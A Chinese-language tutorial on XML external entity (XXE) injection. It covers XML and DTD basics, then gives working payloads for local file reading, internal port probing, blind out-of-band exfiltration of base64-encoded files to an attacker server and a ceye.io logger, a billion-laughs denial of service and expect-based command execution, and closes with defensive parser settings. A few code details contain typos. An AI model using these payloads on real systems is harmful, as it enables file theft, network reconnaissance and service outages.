XXE外部实体注入
漏洞简介
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
XXE漏洞触发点是可以上传xml文件的位置,程序没有对上传的xml文件进行过滤,导致可上传恶意xml文件
XML介绍
XML指可扩展标记语言(Extensible Markup Language)
HTML超文本标记语言
XML 被设计用来传输和存储数据,其焦点是数据的内容
XML被设计用来结构化、存储以及传输信息
HTML 被设计用来显示数据
XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构
一个XML文件主要包括以下几部分:
- 文档声明
- 元素
- 属性
- 注释
- CDATA区,特殊字符
- 处理指令(PI:Processing Instruction)
例子:
xml
<?xml verson="1.0" encoding="UTF-8"?> <!--XML声明-->
<girl age="18"> <!--自定的根元素girl;age属性需要加引号-->
<id>35<id>
<hair>长头发</hair> <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl> <!--根元素的闭合-->

XML的应用
-
XML把数据从HTML分离
如果您需要再HTML中显示动态数据,那么每当数据改变时将花费大量的时间来编辑HTML。通过XML,数据能够存储在独立的XML文件中。这样您就可以专注于使用HTML/CSS进行显示和布局,并确保修改底层数据不再需要对HTML进行任何的改变
通过使用几行javaScript代码,您就可以读取一个XML文件,并更新您的网页的数据内容
data.xmlxml<?xml version="1.0" encoding="UTF-8"?> <books> <book id="1"> <title>JavaScript高级编程</title> <author>王小明</author> <year>2024</year> <price currency="CNY">89.00</price> </book> <book id="2"> <title>Python数据分析</title> <author>陈晓红</author> <year>2023</year> <price currency="USD">39.99</price> </book> </books>test.htmlxml<!DOCTYPE html> <html> <head> <title>动态数据展示</title> <style> /* CSS负责样式,与数据无关 */ .book-card { border: 1px solid #ccc; padding: 15px; margin: 10px; border-radius: 5px; } .price { color: green; font-weight: bold; } </style> </head> <body> <h1>图书列表</h1> <div id="book-container"></div> <!-- 数据将动态插入到这里 --> <button onclick="loadXMLData()">点击加载数据</button> <script> // JavaScript负责数据加载和逻辑 function loadXMLData() { // 1. 从服务器获取XML文件 fetch('data.xml') .then(response => response.text()) .then(xmlString => { // 2. 解析XML数据 const parser = new DOMParser(); const xmlDoc = parser.parseFromString(xmlString, "text/xml"); // 3. 提取数据 const books = xmlDoc.querySelectorAll("book"); const container = document.getElementById("book-container"); container.innerHTML = ""; // 清空旧数据 // 4. 动态生成HTML内容 books.forEach(book => { const title = book.querySelector("title").textContent; const author = book.querySelector("author").textContent; const year = book.querySelector("year").textContent; const price = book.querySelector("price").textContent; const currency = book.querySelector("price").getAttribute("currency"); const bookDiv = document.createElement("div"); bookDiv.className = "book-card"; bookDiv.innerHTML = ` <h3>${title}</h3> <p>作者:${author}</p> <p>出版年份:${year}</p> <p class="price">价格:${currency} ${price} </p> `; container.appendChild(bookDiv); }); }) .catch(error => { console.error("加载XML失败:", error); }); } </script> </body> </html> -
XML简化数据共享
在真实的世界中,计算机系统和数据使用不兼容的格式来存储数据。
XML数据以纯文本格式进行存储,因此提供了一个独立于软件和硬件的数据存储方法
这让创建不同应用程序可以共享的数据变得更加容易
-
XML简化数据传输
对开发人员来说,其中一项最费时的挑战一直是在互联网上的不兼容包系统之间交换数据。由于可以通过各种不兼容的应用程序来读取数据,以XML交换数据降低了这种复杂性
实体引用
在XML中,一些字符拥有特殊的意义
如果您把字符"<"放在XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始
这样会产生XML错误:
xml
<message>if salary < 1000 then</message>
为了避免这个错误,请用实体引用来代替"<"字符:
xml
<message>if salary < 1000 then</message>
在XML中,有5个预定义的实体引用:
< |
< | 小于号 |
|---|---|---|
> |
> | 大于号 |
& |
& | 和号 |
' |
' | 单引号 |
" |
" | 双引号 |
XML语法、结构:
xml编写规则:
-
XML文档必须有根元素
-
XML声明
-
所有的XML元素都必须有一个关闭标签
-
XML标签对大小写敏感
-
XML必须正确嵌套
html:<b><i>This text is bold and italic</b></i> xml:<b><i>This text is bold and italic</i></b> -
XML属性必须加引号
<note date="12/11/2007"> <to>Tove</to> <form>Jani</form> </note> -
实体编码引用
在XML中,一些字符拥有特殊的意义。如果您把字符"<"放在XML元素中,会发生错误,这是因为解析器会把它当作新元素的开始
ps:
<message>if salary< 1000 then</message> 为了避免这个错误,请用实体引用来代替"<"字符
<message>if aslary < 1000 then</message>在XML中,有5个预定义的实体引用:
< < > > & & ' ' " " -
XML中的注释
在XML中编写注释的语法与HTML的语法和相似
<!--This is a comment-->XML结构:
- XML文档声明,在文档的第一行
- XML文档类型定义,即DTD,XXE漏洞所在的地方
- XML文档元素
DTD文档类型定义
DTD(文档类型定义)的作用是定义XML文档的合法构建模块,规定xml文档中元素的名称,子元素的名称及顺序,元素的属性 等等

上述XML代码基本分为三个部分:
第一部分是XML的声明
第二部分是XML的DTD文档类型定义
第三部分是XML语句
而外部实体攻击 主要利用DTD的外部实体来进行注入的。DTD的两种构建方式:内部DTD声明和外部DTD声明
DTD有两种构建方式:内部DTD声明和外部DTD声明
内部DTD声明:
dtd
<!DOCTYPE 根元素 [元素声明]>
外部DTD声明:
dtd
<!DOCTYPE 根元素 SYSTEM "文件名">
示例:外部DTD声明

DTD实体构建
DTD实体同样有两种构建方式,分别是内部实体声明和外部实体声明
内部实体声明
dtd
<!ENTITY entity-name "entity-value">
dtd
<?xml verson="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY hack "我是黑客">
]>
<note>
&hack;
</note>
外部实体声明:
dtd
<!ENTITY entity-name SYSTEM "URL">

上述代码中,XML的外部实体"hack"被赋予的值为:file:///etc/passwd
当解析xml文档时,hack会被替换为file:///etc/passwd的内容
默认协议:
| PHP | java | .NET |
|---|---|---|
| file | http | file |
| http | https | http |
| ftp | ftp | https |
| php | file | ftp |
| compress.zlib | jar | |
| compress.bzip2 | netdoc | |
| data | mailto | |
| glob | gopher* | |
| phar |
实体又分为一般实体和参数实体:
-
一般实体的声明语法:
dtd<!ENTITY 实体名 "实体内容">引用实体的方式:&实体名;
-
参数实体只能在DTD中使用,参数实体的声明格式:
dtd<!ENTITY % 实体名 "实体内容">引用实体的方式:%实体名;
XXE漏洞攻击主要是利用了DTD引用外部实体导致的漏洞
参数实体+外部实体:

XXE攻击思路
- 引用外部实体远程文件读取,端口探测
- Blind XXE
- Dos
- 执行系统命令
PHP simplexml_load_string()函数
https://www.runoob.com/php/func_simplexml_load-string.html


dtd
输入的内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY hack "我是黑客">
]>
<note>&hack;</note>


显示外部文件内容
dtd
输入的内容:利用 file 协议获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY hack SYSTEM
"file:///D:/phpStudy/PHPTutorial/WWW/1.php">
]>
<note>&hack;</note>


dtd
输入的内容:利用 http 协议获取文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY hack SYSTEM "http://127.0.0.1/1.txt">
]>
<note>&hack;</note>


内网端口探测
php
<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set("PRC");
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo date('Y-m-d H:i:s',time())."\n\r";
var_dump($xml);
?>
simplexml_load_string() 函数转换形式良好的 XML 字符串为SimpleXMLElement 对象。
dtd
测试代码:改变端口号进行探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "HTTP://127.0.0.1:80">
]>
<note>&xxe;</note>
burp抓包,修改请求包提交方式为POST,主体内容填写以上代码
类似于ssrf的报错信息,根据返回不同错误猜测端口开放情况
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。所以,在没有回显的情况下如何利用XXE
访问Blind_xxe.php,burp抓包,修改请求包提交方式为POST,主体内容填写以下代码无内容回显
dtd
测试代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/password.txt"
]>
<note>&xxe;</note>

思路:
- 客户端发送payload 1给web服务器
- web服务器向攻击者服务器获取恶意DTD,并执行文件读取paylaod 2
- 攻击者服务器返回payload 2给web服务器
- web服务器执行payload 2后带着回显结果访问攻击者服务器上特定的FTP或者HTTP
- 攻击者访问自己的服务器获取结果

本地客户端(payload 1 )
dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM
"http://192.168.1.107/test.xml"> %remote;]>
<root><xxx>&trick;</xxx></root>
payload 2 也就是test.xml的内容(攻击者服务器)
dtd
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=d:/password.txt">
<!ENTITY % int "<!ENTITY trick SYSTEM 'http:// 192.168.1.107 /jilu.php?v=%payload;'>">
%int;
这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问http协议所携带的内容
DOS攻击---现在可能不存在了
DOS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃.
dtd
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol8;&lol9;">
]>
<lolz>&lol10;</lolz>
这个的原理就是递归引用,lol 实体具体还有 "lol" 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 "lol" 了,以此类推,lol10 实体含有 10^9 个 "lol" 字符串,最后再引用lol10。此时服务器加载的字符太多,可能导致崩溃.
php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ifconfig">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
无回显的XXE漏洞如何探测
-
利用公网服务器,查看日志记录
-
利用DNSLOG,查看访问记录
-
利用CEYE.io带出数据进行查看
通过外部实体注入test.dtd
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64- encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ydu4yt.ceye.io/?p=%file;'>">xml:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://49.232.21.222:8081/test.dtd"> %remote;%int;%send;%file; ]>调用过程:
%remote请求远程vps上的test.dtd
%int调用test.dtd中的%file
%file获取被攻击服务器上的敏感文件,并传入%send
%send将数据发送到ceye.io上
XXE漏洞防御
1.使用开发语言提供的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);
JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
PYTHON:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提供的XML数据
如:过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
3.不允许XML中含有自己定义的DTD